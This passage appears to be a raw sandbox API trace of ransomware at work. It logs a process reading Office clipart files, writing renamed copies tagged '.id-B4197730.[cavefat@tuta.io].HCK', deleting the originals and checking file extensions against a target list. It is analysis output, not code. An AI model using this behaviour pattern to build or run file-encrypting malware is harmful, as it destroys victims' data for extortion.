lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2610, lpOverlapped=0x0) returned 1 [0164.177] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2620, lpOverlapped=0x0) returned 1 [0164.178] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.178] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.178] SetEndOfFile (hFile=0x364) returned 1 [0164.178] CloseHandle (hObject=0x364) returned 1 [0164.178] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.178] SetEndOfFile (hFile=0x308) returned 1 [0164.179] CloseHandle (hObject=0x308) returned 1 [0164.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0164.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.179] lstrlenW (lpString=".doc") returned 4 [0164.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.179] lstrlenW (lpString=".docx") returned 5 [0164.179] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0164.179] lstrlenW (lpString=".pdf") returned 4 [0164.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.179] lstrlenW (lpString=".xls") returned 4 [0164.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.179] lstrlenW (lpString=".xlsx") returned 5 [0164.180] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0164.180] lstrlenW (lpString=".ppt") returned 4 [0164.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString=".zip") returned 4 [0164.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.180] lstrlenW (lpString=".rar") returned 4 [0164.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString=".bz2") returned 4 [0164.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString=".7z") returned 3 [0164.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString=".dbf") returned 4 [0164.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString=".1cd") returned 4 [0164.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString=".jpg") returned 4 [0164.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString=".doc") returned 4 [0164.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString=".docx") returned 5 [0164.180] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0164.180] lstrlenW (lpString=".pdf") returned 4 [0164.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString=".xls") returned 4 [0164.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.180] lstrlenW (lpString=".xlsx") returned 5 [0164.180] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0164.180] lstrlenW (lpString=".ppt") returned 4 [0164.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString=".zip") returned 4 [0164.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.180] lstrlenW (lpString=".rar") returned 4 [0164.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString=".bz2") returned 4 [0164.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString=".7z") returned 3 [0164.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString=".dbf") returned 4 [0164.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString=".1cd") returned 4 [0164.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0164.180] lstrlenW (lpString=".jpg") returned 4 [0164.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.181] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.181] lstrlenW (lpString="J0099176.WMF") returned 12 [0164.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.181] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2488) returned 1 [0164.181] CloseHandle (hObject=0x308) returned 1 [0164.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0164.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.181] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.181] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.182] GetLastError () returned 0x0 [0164.182] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0164.183] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0164.184] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.184] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.184] SetEndOfFile (hFile=0x364) returned 1 [0164.184] CloseHandle (hObject=0x364) returned 1 [0164.184] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.184] SetEndOfFile (hFile=0x308) returned 1 [0164.185] CloseHandle (hObject=0x308) returned 1 [0164.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0164.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.186] lstrlenW (lpString=".doc") returned 4 [0164.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString=".docx") returned 5 [0164.186] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0164.186] lstrlenW (lpString=".pdf") returned 4 [0164.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString=".xls") returned 4 [0164.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.186] lstrlenW (lpString=".xlsx") returned 5 [0164.186] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0164.186] lstrlenW (lpString=".ppt") returned 4 [0164.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.186] lstrlenW (lpString=".zip") returned 4 [0164.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.186] lstrlenW (lpString=".rar") returned 4 [0164.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString=".bz2") returned 4 [0164.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString=".7z") returned 3 [0164.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.186] lstrlenW (lpString=".dbf") returned 4 [0164.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.186] lstrlenW (lpString=".1cd") returned 4 [0164.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.186] lstrlenW (lpString=".jpg") returned 4 [0164.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.186] lstrlenW (lpString=".doc") returned 4 [0164.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString=".docx") returned 5 [0164.186] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0164.186] lstrlenW (lpString=".pdf") returned 4 [0164.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString=".xls") returned 4 [0164.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.186] lstrlenW (lpString=".xlsx") returned 5 [0164.186] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0164.186] lstrlenW (lpString=".ppt") returned 4 [0164.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.186] lstrlenW (lpString=".zip") returned 4 [0164.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.186] lstrlenW (lpString=".rar") returned 4 [0164.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.186] lstrlenW (lpString=".bz2") returned 4 [0164.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.187] lstrlenW (lpString=".7z") returned 3 [0164.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.187] lstrlenW (lpString=".dbf") returned 4 [0164.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.187] lstrlenW (lpString=".1cd") returned 4 [0164.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0164.187] lstrlenW (lpString=".jpg") returned 4 [0164.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.187] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.187] lstrlenW (lpString="J0099177.WMF") returned 12 [0164.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.187] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5386) returned 1 [0164.187] CloseHandle (hObject=0x308) returned 1 [0164.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0164.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.187] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.187] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.188] GetLastError () returned 0x0 [0164.188] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x150a, lpOverlapped=0x0) returned 1 [0164.189] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1510, lpOverlapped=0x0) returned 1 [0164.190] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.190] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.190] SetEndOfFile (hFile=0x364) returned 1 [0164.190] CloseHandle (hObject=0x364) returned 1 [0164.190] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.190] SetEndOfFile (hFile=0x308) returned 1 [0164.191] CloseHandle (hObject=0x308) returned 1 [0164.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0164.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.191] lstrlenW (lpString=".doc") returned 4 [0164.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString=".docx") returned 5 [0164.192] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0164.192] lstrlenW (lpString=".pdf") returned 4 [0164.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString=".xls") returned 4 [0164.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.192] lstrlenW (lpString=".xlsx") returned 5 [0164.192] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0164.192] lstrlenW (lpString=".ppt") returned 4 [0164.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.192] lstrlenW (lpString=".zip") returned 4 [0164.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.192] lstrlenW (lpString=".rar") returned 4 [0164.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString=".bz2") returned 4 [0164.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString=".7z") returned 3 [0164.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.192] lstrlenW (lpString=".dbf") returned 4 [0164.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.192] lstrlenW (lpString=".1cd") returned 4 [0164.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.192] lstrlenW (lpString=".jpg") returned 4 [0164.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.192] lstrlenW (lpString=".doc") returned 4 [0164.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString=".docx") returned 5 [0164.192] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0164.192] lstrlenW (lpString=".pdf") returned 4 [0164.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString=".xls") returned 4 [0164.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.192] lstrlenW (lpString=".xlsx") returned 5 [0164.192] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0164.192] lstrlenW (lpString=".ppt") returned 4 [0164.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.193] lstrlenW (lpString=".zip") returned 4 [0164.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.193] lstrlenW (lpString=".rar") returned 4 [0164.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.193] lstrlenW (lpString=".bz2") returned 4 [0164.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.193] lstrlenW (lpString=".7z") returned 3 [0164.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.193] lstrlenW (lpString=".dbf") returned 4 [0164.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.193] lstrlenW (lpString=".1cd") returned 4 [0164.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0164.193] lstrlenW (lpString=".jpg") returned 4 [0164.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.193] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.193] lstrlenW (lpString="J0099178.WMF") returned 12 [0164.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.193] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3606) returned 1 [0164.193] CloseHandle (hObject=0x308) returned 1 [0164.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0164.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.194] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.194] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.194] GetLastError () returned 0x0 [0164.194] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xe16, lpOverlapped=0x0) returned 1 [0164.195] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe20, lpOverlapped=0x0) returned 1 [0164.196] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.196] 